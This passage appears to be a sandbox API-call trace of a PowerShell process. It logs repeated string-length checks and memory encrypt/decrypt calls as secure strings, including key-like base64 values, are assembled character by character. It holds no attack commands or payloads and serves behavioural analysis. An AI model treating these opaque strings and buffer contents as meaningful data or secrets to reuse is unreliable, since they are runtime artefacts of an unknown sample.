(param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪껾攻뷴ﺰ镵棋塚ⶏ") returned 0x18 [0250.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.523] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z⯶Ꜵ閻ࡦ휊虑") returned 0x18 [0250.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.523] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪혫㦙\૝偩鑯萙댌⊏) returned 0x18 [0250.523] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪혫㦙\૝偩鑯萙댌⊏) returned 0x18 [0250.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.523] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2Ꜵ閻ࡦ휊虑") returned 0x18 [0250.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪ຨ骟迕䤙䱳᫲䬋\⋚) returned 0x18 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪ຨ骟迕䤙䱳᫲䬋\⋚) returned 0x18 [0250.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.524] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2u閻ࡦ휊虑") returned 0x18 [0250.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪膊\䆐ß왉Ꮀ⋕) returned 0x18 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪膊\䆐ß왉Ꮀ⋕) returned 0x18 [0250.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.524] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBࡦ휊虑") returned 0x18 [0250.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪쌩䱪듋衏畹㗽ႉ") returned 0x18 [0250.524] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪쌩䱪듋衏畹㗽ႉ") returned 0x18 [0250.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.525] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX휊虑") returned 0x18 [0250.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.525] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪\쫞싃廄苠ꪪ쾈֫∛) returned 0x18 [0250.525] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪\쫞싃廄苠ꪪ쾈֫∛) returned 0x18 [0250.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.525] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX4虑") returned 0x18 [0250.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.525] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪㨎埰눁顿돉蚐⁔") returned 0x18 [0250.525] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪㨎埰눁顿돉蚐⁔") returned 0x18 [0250.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.525] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43") returned 0x18 [0250.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.571] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎") returned 0x18 [0250.571] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎") returned 0x18 [0250.571] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎") returned 0x18 [0250.572] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎") returned 0x20 [0250.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.573] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43f麧訐㶞즾쌾戵") returned 0x20 [0250.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.573] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎蕳\鿜ꎭ岀砀昀搀搀挀뀀⋎) returned 0x20 [0250.573] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎蕳\鿜ꎭ岀砀昀搀搀挀뀀⋎) returned 0x20 [0250.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.573] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb麧訐㶞즾쌾戵") returned 0x20 [0250.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.573] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎\ϙজ漿뗾ꅂ媑䁵≲) returned 0x20 [0250.573] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎\ϙজ漿뗾ꅂ媑䁵≲) returned 0x20 [0250.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2訐㶞즾쌾戵") returned 0x20 [0250.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎⏁ٶㅽ䇰㫺") returned 0x20 [0250.574] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎⏁ٶㅽ䇰㫺") returned 0x20 [0250.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2Y㶞즾쌾戵") returned 0x20 [0250.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎묦Û懪⭶\쳙鿆䘂⋎) returned 0x20 [0250.574] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎묦Û懪⭶\쳙鿆䘂⋎) returned 0x20 [0250.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YP즾쌾戵") returned 0x20 [0250.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.574] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎蒆㠍塐뉋노奊울㿮") returned 0x20 [0250.575] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎蒆㠍塐뉋노奊울㿮") returned 0x20 [0250.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.575] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP쌾戵") returned 0x20 [0250.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.575] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎⯦⥯馜㰺䙼䭒慢") returned 0x20 [0250.575] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎⯦⥯馜㰺䙼䭒慢") returned 0x20 [0250.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.575] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6戵") returned 0x20 [0250.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.575] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ﰸ츸圀෌귵陨ꢠ") returned 0x20 [0250.575] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ﰸ츸圀෌귵陨ꢠ") returned 0x20 [0250.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.575] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6C") returned 0x20 [0250.575] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.576] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⋘) returned 0x20 [0250.576] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⋘) returned 0x20 [0250.576] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⋘) returned 0x20 [0250.576] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⋘) returned 0x28 [0250.576] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.577] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6Cw嬄⤬虍で㐜翡ᗮ") returned 0x28 [0250.577] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.577] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\篘鸂뜘唴ꪵ뇀⼀鮱⋾) returned 0x28 [0250.577] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\篘鸂뜘唴ꪵ뇀⼀鮱⋾) returned 0x28 [0250.577] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.577] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwP⤬虍で㐜翡ᗮ") returned 0x28 [0250.577] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.577] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\濘什羸Ī曀귚㑧⋠) returned 0x28 [0250.577] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\濘什羸Ī曀귚㑧⋠) returned 0x28 [0250.577] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.577] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPo虍で㐜翡ᗮ") returned 0x28 [0250.577] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⿘졋䭳馯◜浢鬖⋨) returned 0x28 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\⿘졋䭳馯◜浢鬖⋨) returned 0x28 [0250.578] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowで㐜翡ᗮ") returned 0x28 [0250.578] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\茜Ẵ哇䠆樅蜵⊲) returned 0x28 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\茜Ẵ哇䠆樅蜵⊲) returned 0x28 [0250.578] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd㐜翡ᗮ") returned 0x28 [0250.578] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘粶ዑ乨⵨넳陶Ⳃ⊧) returned 0x28 [0250.578] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘粶ዑ乨⵨넳陶Ⳃ⊧) returned 0x28 [0250.578] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.578] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2翡ᗮ") returned 0x28 [0250.579] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.579] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\ⷘ⼞੟룭颕֢⊈) returned 0x28 [0250.579] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\ⷘ⼞੟룭颕֢⊈) returned 0x28 [0250.579] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.579] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zᗮ") returned 0x28 [0250.579] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.579] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\烘誵ℎ⠾ꤧᛀ顨饦⊗) returned 0x28 [0250.579] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\烘誵ℎ⠾ꤧᛀ顨饦⊗) returned 0x28 [0250.579] SystemFunction041 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.579] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zo") returned 0x28 [0250.579] SystemFunction040 (in: Memory=0x3af3cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af3cc) returned 0x0 [0250.579] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱≮) returned 0x28 [0250.580] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱≮) returned 0x28 [0250.580] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱≮) returned 0x28 [0250.580] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱≮) returned 0x30 [0250.580] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.580] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zol톡쭑ꭏ趥᷻˸ꎯ") returned 0x30 [0250.580] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.580] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱੮聆頰⋸ꠤퟬ쀦쭹⊲) returned 0x30 [0250.581] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱੮聆頰⋸ꠤퟬ쀦쭹⊲) returned 0x30 [0250.581] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.581] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zole쭑ꭏ趥᷻˸ꎯ") returned 0x30 [0250.581] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.581] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱ᴳ八\铛ஸ䈎᩽⋉") returned 0x30 [0250.581] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱ᴳ八\铛ஸ䈎᩽⋉") returned 0x30 [0250.581] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.581] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zolekꭏ趥᷻˸ꎯ") returned 0x30 [0250.581] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.581] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱Ůꉩ塷塬ᩇ⧐㫪∯) returned 0x30 [0250.581] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪迢챑マ뙱翁끍꼎ᒂ掑幅㲃뮈艣ಒ\䫘㑲㣩膼䨑萆讫鑱Ůꉩ塷塬ᩇ⧐㫪∯) returned 0x30 [0250.581] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.582] SysStringLen (param_1="uDp5B08JmJ4PHpXu2z2uBX43fb2YPP6CwPowd2zolek=趥᷻˸ꎯ") returned 0x30 [0250.582] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0250.583] EtwEventActivityIdControl () returned 0x0 [0250.585] EtwEventActivityIdControl () returned 0x0 [0250.585] EtwEventActivityIdControl () returned 0x0 [0250.586] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.587] EtwEventActivityIdControl () returned 0x0 [0250.587] EtwEventActivityIdControl () returned 0x0 [0250.587] EtwEventActivityIdControl () returned 0x0 [0250.588] SysStringLen (param_1="") returned 0x8 [0250.588] SysStringLen (param_1="N") returned 0x8 [0250.588] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.588] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0250.588] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0250.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="ND") returned 0x8 [0250.589] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0250.589] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0250.589] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="NDZ") returned 0x8 [0250.589] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0250.589] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0250.589] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="NDZl") returned 0x8 [0250.589] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.589] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0250.589] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0250.589] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.816] SysStringLen (param_1="NDZlO") returned 0x8 [0250.816] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.816] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0250.816] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0250.816] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.816] SysStringLen (param_1="NDZlOD") returned 0x8 [0250.816] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.817] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0250.817] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0250.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.817] SysStringLen (param_1="NDZlODR") returned 0x8 [0250.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.817] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0250.817] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0250.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.817] SysStringLen (param_1="NDZlODRm") returned 0x8 [0250.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0250.818] 